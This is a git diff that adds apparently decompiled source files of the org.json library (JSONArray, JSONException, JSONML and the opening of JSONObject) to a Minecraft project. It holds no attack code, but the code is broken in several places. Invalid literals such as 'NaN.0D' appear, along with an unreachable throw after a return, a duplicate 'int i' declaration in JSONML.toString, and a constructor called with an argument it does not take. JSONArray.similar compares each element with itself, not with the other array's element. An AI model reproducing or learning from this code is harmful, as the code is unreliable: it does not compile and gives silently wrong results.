+          x.back();
+          myArrayList.add(JSONObject.NULL);
+        } else {
+          x.back();
+          myArrayList.add(x.nextValue());
+        }
+        switch (x.nextClean())
+        {
+        case '\000': 
+          throw x.syntaxError("Expected a ',' or ']'");
+        case ',': 
+          nextChar = x.nextClean();
+          if (nextChar == 0)
+          {
+            throw x.syntaxError("Expected a ',' or ']'");
+          }
+          if (nextChar == ']') {
+            return;
+          }
+          x.back();
+        }
+      }
+      return;
+      
+      throw x.syntaxError("Expected a ',' or ']'");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONArray(String source)
+    throws JSONException
+  {
+    this(new JSONTokener(source));
+  }
+  
+
+
+
+
+
+  public JSONArray(Collection<?> collection)
+  {
+    if (collection == null) {
+      myArrayList = new ArrayList();
+    } else {
+      myArrayList = new ArrayList(collection.size());
+      for (Object o : collection) {
+        myArrayList.add(JSONObject.wrap(o));
+      }
+    }
+  }
+  
+
+
+
+
+  public JSONArray(Object array)
+    throws JSONException
+  {
+    this();
+    if (array.getClass().isArray()) {
+      int length = Array.getLength(array);
+      myArrayList.ensureCapacity(length);
+      for (int i = 0; i < length; i++) {
+        put(JSONObject.wrap(Array.get(array, i)));
+      }
+    } else {
+      throw new JSONException(
+        "JSONArray initial value should be a string or collection or array.");
+    }
+  }
+  
+  public Iterator<Object> iterator()
+  {
+    return myArrayList.iterator();
+  }
+  
+
+
+
+
+
+
+
+  public Object get(int index)
+    throws JSONException
+  {
+    Object object = opt(index);
+    if (object == null) {
+      throw new JSONException("JSONArray[" + index + "] not found.");
+    }
+    return object;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean getBoolean(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    if ((object.equals(Boolean.FALSE)) || (
+      ((object instanceof String)) && 
+      (((String)object).equalsIgnoreCase("false"))))
+      return false;
+    if ((object.equals(Boolean.TRUE)) || (
+      ((object instanceof String)) && 
+      (((String)object).equalsIgnoreCase("true")))) {
+      return true;
+    }
+    throw new JSONException("JSONArray[" + index + "] is not a boolean.");
+  }
+  
+
+
+
+
+
+
+
+
+  public double getDouble(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return (object instanceof Number) ? ((Number)object).doubleValue() : 
+        Double.parseDouble((String)object);
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public float getFloat(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return (object instanceof Number) ? ((Number)object).floatValue() : 
+        Float.parseFloat(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + 
+        "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Number getNumber(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      if ((object instanceof Number)) {
+        return (Number)object;
+      }
+      return JSONObject.stringToNumber(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E getEnum(Class<E> clazz, int index)
+    throws JSONException
+  {
+    E val = optEnum(clazz, index);
+    if (val == null)
+    {
+
+
+      throw new JSONException("JSONArray[" + index + "] is not an enum of type " + 
+        JSONObject.quote(clazz.getSimpleName()) + ".");
+    }
+    return val;
+  }
+  
+
+
+
+
+
+
+
+
+  public BigDecimal getBigDecimal(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return new BigDecimal(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + 
+        "] could not convert to BigDecimal.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public BigInteger getBigInteger(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return new BigInteger(object.toString());
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + 
+        "] could not convert to BigInteger.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public int getInt(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return (object instanceof Number) ? ((Number)object).intValue() : 
+        Integer.parseInt((String)object);
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONArray getJSONArray(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    if ((object instanceof JSONArray)) {
+      return (JSONArray)object;
+    }
+    throw new JSONException("JSONArray[" + index + "] is not a JSONArray.");
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONObject getJSONObject(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    if ((object instanceof JSONObject)) {
+      return (JSONObject)object;
+    }
+    throw new JSONException("JSONArray[" + index + "] is not a JSONObject.");
+  }
+  
+
+
+
+
+
+
+
+
+  public long getLong(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    try {
+      return (object instanceof Number) ? ((Number)object).longValue() : 
+        Long.parseLong((String)object);
+    } catch (Exception e) {
+      throw new JSONException("JSONArray[" + index + "] is not a number.", e);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public String getString(int index)
+    throws JSONException
+  {
+    Object object = get(index);
+    if ((object instanceof String)) {
+      return (String)object;
+    }
+    throw new JSONException("JSONArray[" + index + "] not a string.");
+  }
+  
+
+
+
+
+
+
+  public boolean isNull(int index)
+  {
+    return JSONObject.NULL.equals(opt(index));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String join(String separator)
+    throws JSONException
+  {
+    int len = length();
+    StringBuilder sb = new StringBuilder();
+    
+    for (int i = 0; i < len; i++) {
+      if (i > 0) {
+        sb.append(separator);
+      }
+      sb.append(JSONObject.valueToString(myArrayList.get(i)));
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+  public int length()
+  {
+    return myArrayList.size();
+  }
+  
+
+
+
+
+
+
+  public Object opt(int index)
+  {
+    return (index < 0) || (index >= length()) ? null : myArrayList
+      .get(index);
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean optBoolean(int index)
+  {
+    return optBoolean(index, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean optBoolean(int index, boolean defaultValue)
+  {
+    try
+    {
+      return getBoolean(index);
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public double optDouble(int index)
+  {
+    return optDouble(index, NaN.0D);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public double optDouble(int index, double defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).doubleValue();
+    }
+    if ((val instanceof String)) {
+      try {
+        return Double.parseDouble((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public float optFloat(int index)
+  {
+    return optFloat(index, NaN.0F);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public float optFloat(int index, float defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).floatValue();
+    }
+    if ((val instanceof String)) {
+      try {
+        return Float.parseFloat((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public int optInt(int index)
+  {
+    return optInt(index, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int optInt(int index, int defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).intValue();
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return new BigDecimal(val.toString()).intValue();
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E optEnum(Class<E> clazz, int index)
+  {
+    return optEnum(clazz, index, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public <E extends Enum<E>> E optEnum(Class<E> clazz, int index, E defaultValue)
+  {
+    try
+    {
+      Object val = opt(index);
+      if (JSONObject.NULL.equals(val)) {
+        return defaultValue;
+      }
+      if (clazz.isAssignableFrom(val.getClass()))
+      {
+
+        return (Enum)val;
+      }
+      
+      return Enum.valueOf(clazz, val.toString());
+    } catch (IllegalArgumentException e) {
+      return defaultValue;
+    } catch (NullPointerException e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public BigInteger optBigInteger(int index, BigInteger defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof BigInteger)) {
+      return (BigInteger)val;
+    }
+    if ((val instanceof BigDecimal)) {
+      return ((BigDecimal)val).toBigInteger();
+    }
+    if (((val instanceof Double)) || ((val instanceof Float))) {
+      return new BigDecimal(((Number)val).doubleValue()).toBigInteger();
+    }
+    if (((val instanceof Long)) || ((val instanceof Integer)) || 
+      ((val instanceof Short)) || ((val instanceof Byte))) {
+      return BigInteger.valueOf(((Number)val).longValue());
+    }
+    try {
+      String valStr = val.toString();
+      if (JSONObject.isDecimalNotation(valStr)) {
+        return new BigDecimal(valStr).toBigInteger();
+      }
+      return new BigInteger(valStr);
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public BigDecimal optBigDecimal(int index, BigDecimal defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof BigDecimal)) {
+      return (BigDecimal)val;
+    }
+    if ((val instanceof BigInteger)) {
+      return new BigDecimal((BigInteger)val);
+    }
+    if (((val instanceof Double)) || ((val instanceof Float))) {
+      return new BigDecimal(((Number)val).doubleValue());
+    }
+    if (((val instanceof Long)) || ((val instanceof Integer)) || 
+      ((val instanceof Short)) || ((val instanceof Byte))) {
+      return new BigDecimal(((Number)val).longValue());
+    }
+    try {
+      return new BigDecimal(val.toString());
+    } catch (Exception e) {}
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONArray optJSONArray(int index)
+  {
+    Object o = opt(index);
+    return (o instanceof JSONArray) ? (JSONArray)o : null;
+  }
+  
+
+
+
+
+
+
+
+
+  public JSONObject optJSONObject(int index)
+  {
+    Object o = opt(index);
+    return (o instanceof JSONObject) ? (JSONObject)o : null;
+  }
+  
+
+
+
+
+
+
+
+
+  public long optLong(int index)
+  {
+    return optLong(index, 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public long optLong(int index, long defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return ((Number)val).longValue();
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return new BigDecimal(val.toString()).longValue();
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Number optNumber(int index)
+  {
+    return optNumber(index, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Number optNumber(int index, Number defaultValue)
+  {
+    Object val = opt(index);
+    if (JSONObject.NULL.equals(val)) {
+      return defaultValue;
+    }
+    if ((val instanceof Number)) {
+      return (Number)val;
+    }
+    
+    if ((val instanceof String)) {
+      try {
+        return JSONObject.stringToNumber((String)val);
+      } catch (Exception e) {
+        return defaultValue;
+      }
+    }
+    return defaultValue;
+  }
+  
+
+
+
+
+
+
+
+
+  public String optString(int index)
+  {
+    return optString(index, "");
+  }
+  
+
+
+
+
+
+
+
+
+
+  public String optString(int index, String defaultValue)
+  {
+    Object object = opt(index);
+    return JSONObject.NULL.equals(object) ? defaultValue : object
+      .toString();
+  }
+  
+
+
+
+
+
+
+  public JSONArray put(boolean value)
+  {
+    return put(value ? Boolean.TRUE : Boolean.FALSE);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public JSONArray put(Collection<?> value)
+  {
+    return put(new JSONArray(value));
+  }
+  
+
+
+
+
+
+
+
+  public JSONArray put(double value)
+    throws JSONException
+  {
+    return put(Double.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+  public JSONArray put(float value)
+    throws JSONException
+  {
+    return put(Float.valueOf(value));
+  }
+  
+
+
+
+
+
+
+  public JSONArray put(int value)
+  {
+    return put(Integer.valueOf(value));
+  }
+  
+
+
+
+
+
+
+  public JSONArray put(long value)
+  {
+    return put(Long.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(Map<?, ?> value)
+  {
+    return put(new JSONObject(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(Object value)
+  {
+    JSONObject.testValidity(value);
+    myArrayList.add(value);
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, boolean value)
+    throws JSONException
+  {
+    return put(index, value ? Boolean.TRUE : Boolean.FALSE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, Collection<?> value)
+    throws JSONException
+  {
+    return put(index, new JSONArray(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, double value)
+    throws JSONException
+  {
+    return put(index, Double.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, float value)
+    throws JSONException
+  {
+    return put(index, Float.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, int value)
+    throws JSONException
+  {
+    return put(index, Integer.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, long value)
+    throws JSONException
+  {
+    return put(index, Long.valueOf(value));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, Map<?, ?> value)
+    throws JSONException
+  {
+    put(index, new JSONObject(value));
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public JSONArray put(int index, Object value)
+    throws JSONException
+  {
+    if (index < 0) {
+      throw new JSONException("JSONArray[" + index + "] not found.");
+    }
+    if (index < length()) {
+      JSONObject.testValidity(value);
+      myArrayList.set(index, value);
+      return this;
+    }
+    if (index == length())
+    {
+      return put(value);
+    }
+    
+
+    myArrayList.ensureCapacity(index + 1);
+    while (index != length())
+    {
+      myArrayList.add(JSONObject.NULL);
+    }
+    return put(value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object query(String jsonPointer)
+  {
+    return query(new JSONPointer(jsonPointer));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Object query(JSONPointer jsonPointer)
+  {
+    return jsonPointer.queryFrom(this);
+  }
+  
+
+
+
+
+
+
+
+  public Object optQuery(String jsonPointer)
+  {
+    return optQuery(new JSONPointer(jsonPointer));
+  }
+  
+
+
+
+
+
+
+  public Object optQuery(JSONPointer jsonPointer)
+  {
+    try
+    {
+      return jsonPointer.queryFrom(this);
+    } catch (JSONPointerException e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+  public Object remove(int index)
+  {
+    return (index >= 0) && (index < length()) ? 
+      myArrayList.remove(index) : 
+      null;
+  }
+  
+
+
+
+
+
+
+  public boolean similar(Object other)
+  {
+    if (!(other instanceof JSONArray)) {
+      return false;
+    }
+    int len = length();
+    if (len != ((JSONArray)other).length()) {
+      return false;
+    }
+    for (int i = 0; i < len; i++) {
+      Object valueThis = myArrayList.get(i);
+      Object valueOther = myArrayList.get(i);
+      if (valueThis != valueOther)
+      {
+
+        if (valueThis == null) {
+          return false;
+        }
+        if ((valueThis instanceof JSONObject)) {
+          if (!((JSONObject)valueThis).similar(valueOther)) {
+            return false;
+          }
+        } else if ((valueThis instanceof JSONArray)) {
+          if (!((JSONArray)valueThis).similar(valueOther)) {
+            return false;
+          }
+        } else if (!valueThis.equals(valueOther))
+          return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public JSONObject toJSONObject(JSONArray names)
+    throws JSONException
+  {
+    if ((names == null) || (names.length() == 0) || (length() == 0)) {
+      return null;
+    }
+    JSONObject jo = new JSONObject(names.length());
+    for (int i = 0; i < names.length(); i++) {
+      jo.put(names.getString(i), opt(i));
+    }
+    return jo;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    try
+    {
+      return toString(0);
+    } catch (Exception e) {}
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String toString(int indentFactor)
+    throws JSONException
+  {
+    StringWriter sw = new StringWriter();
+    synchronized (sw.getBuffer()) {
+      return write(sw, indentFactor, 0).toString();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public Writer write(Writer writer)
+    throws JSONException
+  {
+    return write(writer, 0, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public Writer write(Writer writer, int indentFactor, int indent)
+    throws JSONException
+  {
+    try
+    {
+      boolean commanate = false;
+      int length = length();
+      writer.write(91);
+      
+      if (length == 1) {
+        try {
+          JSONObject.writeValue(writer, myArrayList.get(0), 
+            indentFactor, indent);
+        } catch (Exception e) {
+          throw new JSONException("Unable to write JSONArray value at index: 0", e);
+        }
+      } else if (length != 0) {
+        int newindent = indent + indentFactor;
+        
+        for (int i = 0; i < length; i++) {
+          if (commanate) {
+            writer.write(44);
+          }
+          if (indentFactor > 0) {
+            writer.write(10);
+          }
+          JSONObject.indent(writer, newindent);
+          try {
+            JSONObject.writeValue(writer, myArrayList.get(i), 
+              indentFactor, newindent);
+          } catch (Exception e) {
+            throw new JSONException("Unable to write JSONArray value at index: " + i, e);
+          }
+          commanate = true;
+        }
+        if (indentFactor > 0) {
+          writer.write(10);
+        }
+        JSONObject.indent(writer, indent);
+      }
+      writer.write(93);
+      return writer;
+    } catch (IOException e) {
+      throw new JSONException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public List<Object> toList()
+  {
+    List<Object> results = new ArrayList(myArrayList.size());
+    for (Object element : myArrayList) {
+      if ((element == null) || (JSONObject.NULL.equals(element))) {
+        results.add(null);
+      } else if ((element instanceof JSONArray)) {
+        results.add(((JSONArray)element).toList());
+      } else if ((element instanceof JSONObject)) {
+        results.add(((JSONObject)element).toMap());
+      } else {
+        results.add(element);
+      }
+    }
+    return results;
+  }
+}
diff --git a/src/minecraft/org/json/JSONException.java b/src/minecraft/org/json/JSONException.java
new file mode 100644
index 0000000..99daf7d
--- /dev/null
+++ b/src/minecraft/org/json/JSONException.java
@@ -0,0 +1,44 @@
+package org.json;
+
+
+
+
+
+
+public class JSONException
+  extends RuntimeException
+{
+  private static final long serialVersionUID = 0L;
+  
+
+
+
+
+
+  public JSONException(String message)
+  {
+    super(message);
+  }
+  
+
+
+
+
+
+
+
+  public JSONException(String message, Throwable cause)
+  {
+    super(message, cause);
+  }
+  
+
+
+
+
+
+  public JSONException(Throwable cause)
+  {
+    super(cause.getMessage(), cause);
+  }
+}
diff --git a/src/minecraft/org/json/JSONML.java b/src/minecraft/org/json/JSONML.java
new file mode 100644
index 0000000..dcfd1af
--- /dev/null
+++ b/src/minecraft/org/json/JSONML.java
@@ -0,0 +1,565 @@
+package org.json;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONML
+{
+  public JSONML() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static Object parse(XMLTokener x, boolean arrayForm, JSONArray ja, boolean keepStrings)
+    throws JSONException
+  {
+    String closeTag = null;
+    
+    JSONArray newja = null;
+    JSONObject newjo = null;
+    
+    String tagName = null;
+    
+
+
+
+
+
+    for (;;)
+    {
+      if (!x.more()) {
+        throw x.syntaxError("Bad XML");
+      }
+      Object token = x.nextContent();
+      if (token == XML.LT) {
+        token = x.nextToken();
+        if ((token instanceof Character)) {
+          if (token == XML.SLASH)
+          {
+
+
+            token = x.nextToken();
+            if (!(token instanceof String)) {
+              throw new JSONException(
+                "Expected a closing name instead of '" + 
+                token + "'.");
+            }
+            if (x.nextToken() != XML.GT) {
+              throw x.syntaxError("Misshaped close tag");
+            }
+            return token; }
+          if (token == XML.BANG)
+          {
+
+
+            char c = x.next();
+            if (c == '-') {
+              if (x.next() == '-') {
+                x.skipPast("-->");
+              } else {
+                x.back();
+              }
+            } else if (c == '[') {
+              token = x.nextToken();
+              if ((token.equals("CDATA")) && (x.next() == '[')) {
+                if (ja != null) {
+                  ja.put(x.nextCDATA());
+                }
+              } else {
+                throw x.syntaxError("Expected 'CDATA['");
+              }
+            } else {
+              int i = 1;
+              do {
+                token = x.nextMeta();
+                if (token == null)
+                  throw x.syntaxError("Missing '>' after '<!'.");
+                if (token == XML.LT) {
+                  i++;
+                } else if (token == XML.GT) {
+                  i--;
+                }
+              } while (
+              
+
+
+
+
+
+
+
+                i > 0);
+            }
+          } else if (token == XML.QUEST)
+          {
+
+
+            x.skipPast("?>");
+          } else {
+            throw x.syntaxError("Misshaped tag");
+          }
+          
+        }
+        else
+        {
+          if (!(token instanceof String)) {
+            throw x.syntaxError("Bad tagName '" + token + "'.");
+          }
+          tagName = (String)token;
+          newja = new JSONArray();
+          newjo = new JSONObject();
+          if (arrayForm) {
+            newja.put(tagName);
+            if (ja != null) {
+              ja.put(newja);
+            }
+          } else {
+            newjo.put("tagName", tagName);
+            if (ja != null) {
+              ja.put(newjo);
+            }
+          }
+          token = null;
+          for (;;) {
+            if (token == null) {
+              token = x.nextToken();
+            }
+            if (token == null) {
+              throw x.syntaxError("Misshaped tag");
+            }
+            if (!(token instanceof String)) {
+              break;
+            }
+            
+
+
+            String attribute = (String)token;
+            if ((!arrayForm) && (("tagName".equals(attribute)) || ("childNode".equals(attribute)))) {
+              throw x.syntaxError("Reserved attribute.");
+            }
+            token = x.nextToken();
+            if (token == XML.EQ) {
+              token = x.nextToken();
+              if (!(token instanceof String)) {
+                throw x.syntaxError("Missing value");
+              }
+              newjo.accumulate(attribute, keepStrings ? (String)token : XML.stringToValue((String)token));
+              token = null;
+            } else {
+              newjo.accumulate(attribute, "");
+            }
+          }
+          if ((arrayForm) && (newjo.length() > 0)) {
+            newja.put(newjo);
+          }
+          
+
+
+          if (token == XML.SLASH) {
+            if (x.nextToken() != XML.GT) {
+              throw x.syntaxError("Misshaped tag");
+            }
+            if (ja == null) {
+              if (arrayForm) {
+                return newja;
+              }
+              return newjo;
+            }
+            
+          }
+          else
+          {
+            if (token != XML.GT) {
+              throw x.syntaxError("Misshaped tag");
+            }
+            closeTag = (String)parse(x, arrayForm, newja, keepStrings);
+            if (closeTag != null) {
+              if (!closeTag.equals(tagName)) {
+                throw x.syntaxError("Mismatched '" + tagName + 
+                  "' and '" + closeTag + "'");
+              }
+              tagName = null;
+              if ((!arrayForm) && (newja.length() > 0)) {
+                newjo.put("childNodes", newja);
+              }
+              if (ja == null) {
+                if (arrayForm) {
+                  return newja;
+                }
+                return newjo;
+              }
+            }
+          }
+        }
+      }
+      else if (ja != null) {
+        ja.put((token instanceof String) ? 
+          XML.stringToValue((String)token) : keepStrings ? XML.unescape((String)token) : 
+          token);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(String string)
+    throws JSONException
+  {
+    return (JSONArray)parse(new XMLTokener(string), true, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(String string, boolean keepStrings)
+    throws JSONException
+  {
+    return (JSONArray)parse(new XMLTokener(string), true, null, keepStrings);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(XMLTokener x, boolean keepStrings)
+    throws JSONException
+  {
+    return (JSONArray)parse(x, true, null, keepStrings);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONArray toJSONArray(XMLTokener x)
+    throws JSONException
+  {
+    return (JSONArray)parse(x, true, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string)
+    throws JSONException
+  {
+    return (JSONObject)parse(new XMLTokener(string), false, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(String string, boolean keepStrings)
+    throws JSONException
+  {
+    return (JSONObject)parse(new XMLTokener(string), false, null, keepStrings);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(XMLTokener x)
+    throws JSONException
+  {
+    return (JSONObject)parse(x, false, null, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static JSONObject toJSONObject(XMLTokener x, boolean keepStrings)
+    throws JSONException
+  {
+    return (JSONObject)parse(x, false, null, keepStrings);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static String toString(JSONArray ja)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    
+
+
+
+    String tagName = ja.getString(0);
+    XML.noSpace(tagName);
+    tagName = XML.escape(tagName);
+    sb.append('<');
+    sb.append(tagName);
+    
+    Object object = ja.opt(1);
+    int i; if ((object instanceof JSONObject)) {
+      int i = 2;
+      JSONObject jo = (JSONObject)object;
+      
+
+
+
+      for (String key : jo.keySet()) {
+        Object value = jo.opt(key);
+        XML.noSpace(key);
+        if (value != null) {
+          sb.append(' ');
+          sb.append(XML.escape(key));
+          sb.append('=');
+          sb.append('"');
+          sb.append(XML.escape(value.toString()));
+          sb.append('"');
+        }
+      }
+    } else {
+      i = 1;
+    }
+    
+
+
+    int length = ja.length();
+    if (i >= length) {
+      sb.append('/');
+      sb.append('>');
+    } else {
+      sb.append('>');
+      do {
+        object = ja.get(i);
+        i++;
+        if (object != null) {
+          if ((object instanceof String)) {
+            sb.append(XML.escape(object.toString()));
+          } else if ((object instanceof JSONObject)) {
+            sb.append(toString((JSONObject)object));
+          } else if ((object instanceof JSONArray)) {
+            sb.append(toString((JSONArray)object));
+          } else {
+            sb.append(object.toString());
+          }
+        }
+      } while (
+      
+
+
+
+
+
+
+
+
+
+
+
+
+        i < length);
+      sb.append('<');
+      sb.append('/');
+      sb.append(tagName);
+      sb.append('>');
+    }
+    return sb.toString();
+  }
+  
+
+
+
+
+
+
+
+  public static String toString(JSONObject jo)
+    throws JSONException
+  {
+    StringBuilder sb = new StringBuilder();
+    
+
+
+
+
+
+
+
+
+    String tagName = jo.optString("tagName");
+    if (tagName == null) {
+      return XML.escape(jo.toString());
+    }
+    XML.noSpace(tagName);
+    tagName = XML.escape(tagName);
+    sb.append('<');
+    sb.append(tagName);
+    
+
+
+
+    for (String key : jo.keySet()) {
+      if ((!"tagName".equals(key)) && (!"childNodes".equals(key))) {
+        XML.noSpace(key);
+        Object value = jo.opt(key);
+        if (value != null) {
+          sb.append(' ');
+          sb.append(XML.escape(key));
+          sb.append('=');
+          sb.append('"');
+          sb.append(XML.escape(value.toString()));
+          sb.append('"');
+        }
+      }
+    }
+    
+
+
+    JSONArray ja = jo.optJSONArray("childNodes");
+    if (ja == null) {
+      sb.append('/');
+      sb.append('>');
+    } else {
+      sb.append('>');
+      int length = ja.length();
+      for (int i = 0; i < length; i++) {
+        Object object = ja.get(i);
+        if (object != null) {
+          if ((object instanceof String)) {
+            sb.append(XML.escape(object.toString()));
+          } else if ((object instanceof JSONObject)) {
+            sb.append(toString((JSONObject)object));
+          } else if ((object instanceof JSONArray)) {
+            sb.append(toString((JSONArray)object));
+          } else {
+            sb.append(object.toString());
+          }
+        }
+      }
+      sb.append('<');
+      sb.append('/');
+      sb.append(tagName);
+      sb.append('>');
+    }
+    return sb.toString();
+  }
+}
diff --git a/src/minecraft/org/json/JSONObject.java b/src/minecraft/org/json/JSONObject.java
new file mode 100644
index 0000000..c410cb9
--- /dev/null
+++ b/src/minecraft/org/json/JSONObject.java
@@ -0,0 +1,2579 @@
+package org.json;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.StringWriter;
+import java.io.Writer;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.lang.reflect.Modifier;
+import java.math.BigDecimal;
+import java.math.BigInteger;
+import java.util.Collection;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.ResourceBundle;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class JSONObject
+{
+  private final Map<String, Object> map;
+  
+  private static final class Null
+  {
+    private Null() {}
+    
+    protected final Object clone()
+    {
+      return this;
+    }
+    
+
+
+
+
+
+
+
+
+    public boolean equals(Object object)
+    {
+      return (object == null) || (object == this);
+    }
+    
+
+
+
+
+    public int hashCode()
+    {
+      return 0;
+    }
+    
+
+
+
+
+
+    public String toString()
+    {
+      return "null";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final Object NULL = new Null(null);
+  
+
+
+
+
+
+
+
+
+  public JSONObject()
+  {
+    map = new HashMap();
+  }
